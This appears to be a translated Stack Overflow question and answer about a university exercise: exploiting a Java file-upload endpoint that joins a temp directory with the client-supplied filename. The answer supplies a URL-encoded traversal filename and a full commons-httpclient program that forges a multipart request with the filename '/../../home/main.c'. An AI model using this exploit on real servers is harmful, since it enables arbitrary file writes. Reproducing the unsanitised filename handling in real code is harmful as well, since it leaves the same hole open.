首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >路径遍历,文件上传漏洞利用

路径遍历,文件上传漏洞利用
EN

Stack Overflow用户
提问于 2013-10-31 18:22:41
回答 1查看 2.1K关注 0票数 0

我有一个大学的作业,我必须上传一个文件到任意位置。从代码中,我可以看到上传的文件存储在unix系统的临时文件夹+文件名中。这意味着,如果我可以将文件名作为/../../home/main.c发送给服务器(java),我就可以将该文件存储在系统上的任何位置。

在不包括此选项的文件名中插入一个正斜杠字符是不可能的,因此唯一的方法就是以某种方式欺骗web客户端手动发送文件名。

这是可能的吗?如何实现?

代码语言:javascript
复制
File f = new File (dir,entry.getname());

其中"dir“是/temp

EN

回答 1

Stack Overflow用户

发布于 2013-10-31 19:25:23

你可以将文件命名为类似%2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec的名称,然后使用浏览器上传,但我怀疑它是否有效。

您还可以尝试使用现有实现来伪造多部分/表单数据http post请求,如下所示(使用commons-httpClient 3.1):

代码语言:javascript
复制
public class Forgery
{
    public static void main(String[] args)
    {
        File f = new File("/path/fileToUpload.txt");
        PostMethod filePost = new PostMethod("http://host/some_path");
        Part[] parts = 
        { 
            new StringPart("param_name", "value"), 
            new FilePart(f.getName(), f)
            {
                private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);

                @Override
                protected void sendDispositionHeader(OutputStream out) throws IOException
                {
                    out.write(CONTENT_DISPOSITION_BYTES);
                    out.write(QUOTE_BYTES);
                    out.write(EncodingUtil.getAsciiBytes(getName()));
                    out.write(QUOTE_BYTES);
                    out.write(FILE_NAME_BYTES);
                    out.write(QUOTE_BYTES);
                    out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
                    out.write(QUOTE_BYTES);
                }
            } 
        };
        filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
        HttpClient client = new HttpClient();
        int status = client.executeMethod(filePost);
    }
}
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/19703857

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档